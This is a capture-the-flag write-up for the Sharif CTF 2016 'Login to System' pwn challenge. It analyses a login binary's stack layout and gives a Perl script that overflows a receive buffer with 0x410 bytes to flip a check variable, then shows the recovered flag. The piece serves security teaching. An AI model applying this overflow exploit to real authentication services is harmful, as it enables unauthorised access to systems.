Sharif CTF 2016: Login to System (Pwn 200)

Category: pwn
Points: 200
Solves: 106

Can you login to this system without username and password?
telnet ctf.sharif.edu 27515

Analysis

When connecting over telnet or nectat, we are given a prompt for a username and password:

Please enter your username and then press enter: admin

Please enter your password and then press enter: test

Invalid username or password

There's no obvious clues here, so let's go straight into the binary.

Here is where the password loop and check is:
pw check

Note that I took the liberty to rename the stack address of what we need to control to overflow_me.

Lets cut the graph and just look at the loop:

loopy loop

This loop is pretty easy to follow. First, we have the condition for ending the loop. If there is a newline in the string, then we should stop trying to receive data, otherwise, attempt to read 0x800 bytes and place it in haystack. Once it reads a newline, we go to the subroutine on the left. The haystack is then strcpy'd into var_4E0. The cmp instruction tests the value of the canary. If it's a 1, it passes the test, otherwise, it fails. This stack variable is set to 0 at the beginning of the program.

Knowing this, lets take a look on how the stack is laid out:

var_4E0:     rbp-0x4e0
Haystack:    rbp-0x430
canary:      rbp-0x20
fd:          rbp-0x8

Before we get into the exploit, lets look at where the jnz goes if the cmp is true or false. If the jnz passes, then we get "invalid password". If it passes, we get the flag.

Looks like we could either overflow haystack or dest to get to the canary. But we must be careful not to overwrite fd so the program will still continue to work after the overflow.

From first glance, we have two avenues for exploitation:

  1. Overflow var_4E0
  2. Overflow Haystack

If we want to overflow var_4E0, we need to insert 0x4e0 - 0x20 = 0x4c0 bytes. There is a problem however, in order for our input to get into var_4E0, our data first will be inserted into Haystack from recv then copied to var_4E0 by strcpy. If we calculate the offset where our data will end, we have -0x430 + 0x4c0 = +0x90, that goes too far beyond our limit. If we did that we will overwrite fd and problem other things. That will break the program before we get the flag.

Let's take a look at the second option. We overflow Haystack without overflowing var_4E0 too much. Let's calculate what we need: 0x430 - 0x20 = 0x410 bytes That will put us right at the canary, then we can send a 0x01 to overwrite the canary and get the flag. I wrote a perl script to do this:

#!/usr/bin/perl
use IO::Socket;

$username = "admin\n";
$password = "A" x 0x410 . "\x01\n";

$socket = IO::Socket::INET->new(			
Proto => "tcp",						
PeerAddr => "ctf.sharif.edu",					
PeerPort => "27515",					
);

$socket->recv($serverdata, 1024);			
print $serverdata;					
$socket->send($username);	
$socket->recv($serverdata, 1024);			
print $serverdata;					
$socket->send($password);	
$socket->recv($serverdata, 1024);			
print $serverdata;

Running the script, we get:

Please enter your username and then press enter:
Please enter your password and then press enter:
You are already logged in! Your flag is: cgjxkkbmdhudbovtezyv

Submit the flag :)